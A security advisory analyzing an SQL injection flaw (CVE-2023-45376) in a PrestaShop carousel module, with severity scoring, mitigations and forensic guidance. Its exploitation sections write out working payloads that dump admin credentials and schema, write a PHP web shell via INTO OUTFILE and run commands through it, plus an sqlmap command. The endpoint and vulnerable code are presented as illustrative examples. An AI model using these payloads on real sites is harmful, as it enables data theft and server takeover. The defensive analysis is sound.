Comprehensive Technical Analysis of EUVD-2023-49668 (CVE-2023-45376)

Vulnerability: SQL Injection in HiPresta’s "Carousels Pack" Module for PrestaShop

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2023-49668 (CVE-2023-45376) is a critical SQL injection (SQLi) vulnerability in the "Carousels Pack - Instagram, Products, Brands, Supplier" module (hicarouselspack) for PrestaShop, developed by HiPresta. The flaw resides in the HiCpProductGetter::getViewedProduct() method, which improperly sanitizes user-supplied input, allowing unauthenticated attackers to execute arbitrary SQL queries on the underlying database.

Severity Metrics (CVSS v3.1)

Metric	Value	Explanation
Base Score	9.8 (Critical)	High impact on confidentiality, integrity, and availability.
Attack Vector (AV)	Network (N)	Exploitable remotely over the internet.
Attack Complexity (AC)	Low (L)	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication needed.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable component.
Confidentiality (C)	High (H)	Full database access, including sensitive customer/PII data.
Integrity (I)	High (H)	Arbitrary data manipulation (e.g., order tampering, admin account creation).
Availability (A)	High (H)	Potential database corruption or denial-of-service (DoS).

Risk Assessment

• Exploitability: High (publicly disclosed, no authentication required).
• Impact: Severe (full database compromise, potential RCE via database functions).
• Likelihood of Exploitation: High (PrestaShop is widely used in e-commerce, making it a prime target for attackers).

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2. Potential Attack Vectors & Exploitation Methods

Attack Surface

The vulnerability is exposed via an unauthenticated HTTP request to the PrestaShop frontend, where the HiCpProductGetter::getViewedProduct() method processes user-controlled input without proper sanitization.

Exploitation Steps

1. Identify Vulnerable Endpoint

   • The attacker locates the vulnerable module’s endpoint (e.g., via source code analysis or fuzzing).
   • Example vulnerable request:

     GET /module/hicarouselspack/getViewedProduct?product_id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- - HTTP/1.1
     Host: vulnerable-prestashop-site.com
     

2. Craft Malicious SQL Payload

   • Attackers inject arbitrary SQL via the product_id parameter (or similar input).
   • Example payloads:
     • Data Exfiltration:

       1' UNION SELECT 1,CONCAT(username,':',password),3,4,5,6,7,8,9,10 FROM ps_employee-- -
       

     • Database Schema Dump:

       1' UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8,9,10 FROM INFORMATION_SCHEMA.TABLES-- -
       

     • Remote Code Execution (RCE) via SQL Functions:
       • If the database supports file write operations (e.g., MySQL INTO OUTFILE), attackers may write a web shell:

         1' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4,5,6,7,8,9,10 INTO OUTFILE '/var/www/html/shell.php'-- -
         

3. Execute Arbitrary Commands

   • If RCE is achieved, attackers can:
     • Steal customer data (PII, payment details).
     • Modify database records (e.g., change order statuses, prices).
     • Escalate privileges (e.g., create admin accounts).
     • Deploy ransomware or backdoors.

Exploitation Tools & Techniques

• Manual Exploitation: Using curl, Burp Suite, or Postman to craft malicious requests.
• Automated Tools:
  • SQLmap: Automated SQLi detection and exploitation.

    sqlmap -u "https://vulnerable-site.com/module/hicarouselspack/getViewedProduct?product_id=1" --batch --dbs
    

  • Metasploit: If a module is developed for this CVE.
• Chaining with Other Vulnerabilities:
  • If PrestaShop has additional flaws (e.g., file upload vulnerabilities), attackers may combine them for full system compromise.

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3. Affected Systems & Software Versions

Vulnerable Software

• Module: hicarouselspack (Carousels Pack - Instagram, Products, Brands, Supplier)
• Vendor: HiPresta
• Affected Versions: ≤ 1.5.0
• PrestaShop Compatibility: All versions (since the vulnerability is in the module, not the core).

Impacted Environments

• E-commerce Websites: PrestaShop-based online stores (common in Europe).
• Hosting Providers: Shared hosting environments where PrestaShop is deployed.
• Third-Party Integrations: Modules interacting with hicarouselspack may inherit the vulnerability.

Detection Methods

• Manual Verification:
  • Check module version in PrestaShop backoffice (Modules > Module Manager).
  • Inspect hicarouselspack source code for getViewedProduct() method.
• Automated Scanning:
  • Nuclei Template: Custom template for detecting CVE-2023-45376.
  • Vulnerability Scanners: Nessus, OpenVAS, or Burp Suite Pro.
  • WAF Logs: Look for SQLi patterns in HTTP requests.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Apply Vendor Patch

   • Upgrade to the latest version of hicarouselspack (if available).
   • If no patch exists, disable the module immediately.

2. Temporary Workarounds

   • Input Sanitization: Manually patch the getViewedProduct() method to use prepared statements (parameterized queries).

     // Example fix (using PDO):
     $stmt = $db->prepare("SELECT * FROM ps_product WHERE id_product = :product_id");
     $stmt->execute(['product_id' => $productId]);
     

   • WAF Rules: Deploy ModSecurity or Cloudflare WAF rules to block SQLi attempts.

     SecRule ARGS:product_id "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Attempt'"
     

   • IP Restrictions: Limit access to the vulnerable endpoint via .htaccess or firewall rules.

3. Database Hardening

   • Least Privilege Principle: Ensure the PrestaShop database user has minimal permissions (no FILE privilege).
   • Database Encryption: Encrypt sensitive data at rest (e.g., customer PII, payment details).
   • Regular Backups: Maintain offline backups to recover from potential data corruption.

Long-Term Mitigations

1. Code Review & Secure Development

   • Audit all custom PrestaShop modules for SQLi, XSS, and RCE vulnerabilities.
   • Enforce secure coding practices (OWASP Top 10 compliance).
   • Use ORM (Object-Relational Mapping) instead of raw SQL queries.

2. Monitoring & Detection

   • SIEM Integration: Forward PrestaShop logs to a SIEM (e.g., Splunk, ELK) for anomaly detection.
   • File Integrity Monitoring (FIM): Detect unauthorized changes to PHP files.
   • Database Activity Monitoring (DAM): Alert on suspicious SQL queries.

3. Vendor & Community Engagement

   • Report Vulnerabilities: Encourage responsible disclosure via Friends of Presta or PrestaShop Security Team.
   • Third-Party Audits: Conduct penetration tests on PrestaShop modules before deployment.

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5. Impact on European Cybersecurity Landscape

Regulatory & Compliance Risks

• GDPR Violation: Unauthorized access to customer data (e.g., names, emails, payment details) may result in fines up to €20M or 4% of global revenue.
• NIS2 Directive: Critical e-commerce operators must report incidents within 24 hours; failure to patch may lead to penalties.
• PCI DSS: If payment data is compromised, merchants may lose PCI compliance, leading to transaction processing restrictions.

Threat Actor Targeting

• Cybercriminals: Exploit SQLi for data theft, fraud, or ransomware deployment.
• State-Sponsored Actors: Target European e-commerce for espionage or supply chain attacks.
• Script Kiddies: Use automated tools (e.g., SQLmap) to deface websites or steal data.

Economic & Reputational Damage

• Financial Losses: Chargebacks, legal fees, and lost sales due to downtime.
• Brand Reputation: Loss of customer trust, negative media coverage.
• Supply Chain Risks: If the module is used by multiple vendors, a single compromise can affect numerous businesses.

European CERT & CSIRT Response

• ENISA (European Union Agency for Cybersecurity): May issue alerts for critical vulnerabilities in widely used software.
• National CSIRTs (e.g., CERT-FR, CERT-Bund): Likely to publish advisories and coordinate patching efforts.
• Threat Intelligence Sharing: Organizations like ECHO (European Cybersecurity Competence Centre) may track exploitation trends.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability stems from improper input validation in HiCpProductGetter::getViewedProduct(), where user-supplied data is directly concatenated into an SQL query without sanitization or parameterization.

Vulnerable Code Snippet (Pseudocode):

public function getViewedProduct($productId) {
    $sql = "SELECT * FROM " . _DB_PREFIX_ . "product WHERE id_product = " . $productId;
    return Db::getInstance()->executeS($sql); // Unsafe execution
}

• Issue: $productId is not sanitized, allowing SQL injection.
• Fix: Use prepared statements (as shown in Section 4).

Exploitation Proof of Concept (PoC)

Step 1: Identify the Vulnerable Parameter

• Use Burp Suite or curl to test for SQLi:

  curl -v "https://vulnerable-site.com/module/hicarouselspack/getViewedProduct?product_id=1'"
  

  • If the response contains a database error, the site is vulnerable.

Step 2: Extract Database Information

• Dump table names:

  1' UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=DATABASE()-- -
  

• Extract admin credentials:

  1' UNION SELECT 1,CONCAT(id_employee,':',email,':',passwd),3,4,5,6,7,8,9,10 FROM ps_employee-- -
  

Step 3: Achieve Remote Code Execution (RCE)

• If MySQL has FILE privileges, write a PHP shell:

  1' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4,5,6,7,8,9,10 INTO OUTFILE '/var/www/html/shell.php'-- -
  

• Access the shell:

  curl "https://vulnerable-site.com/shell.php?cmd=id"
  

Forensic & Incident Response Considerations

1. Log Analysis

   • Check Apache/Nginx logs for SQLi patterns:

     grep -i "union.*select" /var/log/apache2/access.log
     

   • Review PrestaShop logs (/var/www/html/var/logs/).

2. Memory Forensics

   • Use Volatility or Rekall to analyze running processes for malicious activity.

3. Database Forensics

   • Check for unauthorized queries in MySQL general log:

     SET GLOBAL general_log = 'ON';
     SELECT * FROM mysql.general_log WHERE argument LIKE '%UNION%SELECT%';
     

4. Containment & Eradication

   • Isolate the server from the network.
   • Restore from a clean backup (if available).
   • Rotate all credentials (database, admin, API keys).
   • Reinstall PrestaShop if rootkit infection is suspected.

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Conclusion & Recommendations

EUVD-2023-49668 (CVE-2023-45376) is a critical SQL injection vulnerability with severe implications for European e-commerce businesses. Given its CVSS 9.8 score and low attack complexity, organizations must patch immediately or implement temporary mitigations to prevent exploitation.

Key Takeaways for Security Teams

✅ Patch Management: Prioritize updates for PrestaShop modules. ✅ Input Validation: Enforce prepared statements in all SQL queries. ✅ Monitoring: Deploy WAFs, SIEM, and DAM to detect attacks. ✅ Incident Response: Prepare for GDPR breach notifications if data is compromised. ✅ Threat Intelligence: Monitor exploit databases (e.g., Exploit-DB, CISA KEV) for active exploitation.

Final Risk Rating

Factor	Rating
Exploitability	High
Impact	Critical
Remediation Urgency	Immediate

Action Required: All PrestaShop administrators using hicarouselspack ≤ 1.5.0 must upgrade or disable the module without delay. Failure to act may result in data breaches, financial losses, and regulatory penalties.